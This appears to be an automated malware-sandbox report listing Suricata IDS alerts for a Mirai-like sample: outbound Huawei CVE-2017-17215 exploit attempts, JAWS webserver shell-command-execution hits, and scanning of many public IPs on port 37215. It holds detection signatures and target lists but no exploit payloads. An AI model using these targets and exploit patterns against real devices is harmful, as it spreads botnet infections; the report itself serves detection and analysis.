Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:44076 -> 41.241.96.154:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:38356 -> 156.205.147.98:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:50812 -> 41.44.242.50:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:48780 -> 156.134.15.209:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:43808 -> 156.170.10.105:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:56792 -> 156.94.69.180:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:41900 -> 41.202.172.32:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:59972 -> 156.25.219.222:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:53308 -> 156.237.26.238:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:38594 -> 197.114.49.191:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:40050 -> 197.196.154.98:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:53386 -> 41.102.71.232:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:33086 -> 197.25.6.198:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:49588 -> 156.158.219.142:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:52804 -> 197.72.25.200:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:36796 -> 156.32.215.71:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:40298 -> 156.252.187.200:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:39674 -> 156.90.215.158:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:42090 -> 197.43.173.65:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:56170 -> 197.94.213.94:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:43170 -> 41.132.226.136:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:52542 -> 156.98.207.15:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:58510 -> 41.246.246.62:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:48516 -> 197.77.8.60:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:58474 -> 156.170.181.102:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:48622 -> 41.235.28.90:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:49538 -> 194.92.243.201:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:36794 -> 197.122.32.82:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:48238 -> 223.51.190.43:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:49538 -> 194.92.243.201:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:48238 -> 223.51.190.43:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:58406 -> 157.172.185.13:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:40094 -> 20.235.63.68:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:58406 -> 157.172.185.13:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:40094 -> 20.235.63.68:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:57684 -> 119.232.26.230:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:57684 -> 119.232.26.230:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:40540 -> 49.12.65.52:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:40540 -> 49.12.65.52:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:44086 -> 156.65.71.38:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:50688 -> 41.101.143.166:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:50226 -> 197.167.21.141:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:43920 -> 41.29.102.55:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:44486 -> 156.192.136.240:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:55280 -> 41.178.206.25:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:49166 -> 156.218.152.89:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:49022 -> 156.35.137.60:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:55498 -> 197.162.156.92:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:41444 -> 41.190.33.163:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:55812 -> 25.87.52.217:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:45274 -> 197.25.193.130:37215
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:55812 -> 25.87.52.217:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:48902 -> 197.181.181.241:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:45728 -> 197.41.63.23:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:35070 -> 156.243.0.98:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:41104 -> 197.174.39.138:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:49126 -> 156.188.189.74:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:33714 -> 41.9.12.137:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:38540 -> 197.19.215.18:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:34794 -> 197.64.129.106:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:53774 -> 197.176.24.172:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:57708 -> 41.69.219.95:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:58304 -> 156.170.78.130:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:39540 -> 41.206.208.168:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:53264 -> 197.140.216.5:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:33954 -> 197.121.238.36:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:43124 -> 197.236.149.18:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:52592 -> 197.236.0.227:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:34656 -> 156.131.1.254:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:35810 -> 41.224.101.22:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:59758 -> 197.181.234.198:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:44710 -> 41.47.217.131:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:34394 -> 156.90.151.47:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:37284 -> 197.79.237.65:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:58156 -> 41.218.4.159:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:41034 -> 156.84.204.14:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:59932 -> 41.158.40.36:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:41456 -> 197.84.102.240:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:42844 -> 41.223.158.155:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:33604 -> 41.237.198.60:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:46628 -> 197.117.100.236:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:49086 -> 156.43.154.242:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:50592 -> 41.136.55.166:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:52296 -> 197.64.33.153:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:35628 -> 197.152.191.108:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:44480 -> 41.88.176.204:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:40818 -> 41.175.127.159:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:40722 -> 197.13.45.242:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:43444 -> 156.90.104.81:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:45394 -> 197.135.64.141:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:51328 -> 197.87.10.204:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:48890 -> 41.229.216.240:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:59398 -> 41.72.79.133:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:40490 -> 197.204.217.111:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:39910 -> 41.250.20.215:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:45932 -> 156.189.217.172:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:55140 -> 156.156.205.112:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:55474 -> 41.101.195.38:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:52950 -> 197.226.23.117:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:43170 -> 41.194.214.146:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:34002 -> 156.81.114.141:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:56220 -> 197.2.74.59:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:38572 -> 197.95.31.106:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:39462 -> 197.27.73.2:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:58718 -> 41.71.32.244:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:53420 -> 197.5.139.176:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:52844 -> 41.53.3.14:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:51350 -> 41.35.164.160:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:38324 -> 197.76.52.95:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:57780 -> 41.167.61.205:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:33078 -> 156.173.204.169:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:39886 -> 172.75.69.51:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:39886 -> 172.75.69.51:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:50598 -> 164.76.197.63:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:34048 -> 204.102.109.115:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:54740 -> 104.144.206.244:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:35394 -> 1.2.186.211:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:50598 -> 164.76.197.63:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:35394 -> 1.2.186.211:80

Connects to many ports of the same IP (likely port scanning)

Source: global traffic	TCP traffic: 156.23.248.48 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.11.45.137 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.153.113.124 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.196.132.147 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.217.233.70 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.5.79.208 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.66.126.224 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.18.9.0 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.27.45.97 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.123.56.238 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.157.198.171 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.224.14.1 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.211.5.234 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.49.53.141 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.78.147.236 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.66.207.240 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.145.8.209 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.88.20.183 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.248.167.44 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.68.109.132 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.112.89.154 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.9.232.123 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.41.193.179 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.224.46.221 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.109.35.136 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.7.217.213 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.166.47.89 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.32.51.7 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.77.223.218 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.212.168.191 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.1.218.211 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.203.209.90 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.60.99.5 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.230.27.179 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.107.132.184 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.46.248.39 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.128.25.159 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.231.53.96 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.134.96.232 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.62.52.14 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.243.26.103 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.68.208.9 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.80.121.167 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.166.186.63 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.110.112.240 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.46.242.81 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.21.108.8 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.77.191.41 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.80.93.105 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.198.44.164 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.142.130.65 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.112.65.108 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.216.224.152 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.186.124.82 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.208.39.236 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.232.34.110 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.215.19.227 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.184.92.118 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.132.163.91 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.80.208.70 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.100.81.108 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.58.212.61 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.222.230.35 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.178.68.92 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.140.59.132 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.205.102.217 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.205.235.175 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.29.107.62 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.45.56.32 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.225.97.237 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.82.59.113 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.49.20.168 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.184.48.184 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.76.161.158 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.247.210.255 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.115.172.132 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.80.168.227 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.214.235.225 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.49.202.177 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.154.81.2 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.115.251.243 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.213.235.135 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.4.86.61 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.227.233.36 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.105.221.147 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.230.234.190 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.245.79.233 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.84.93.60 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.229.58.228 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.125.172.214 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.114.186.104 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.93.206.191 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.219.115.202 ports 1,2,3,5,7,37215
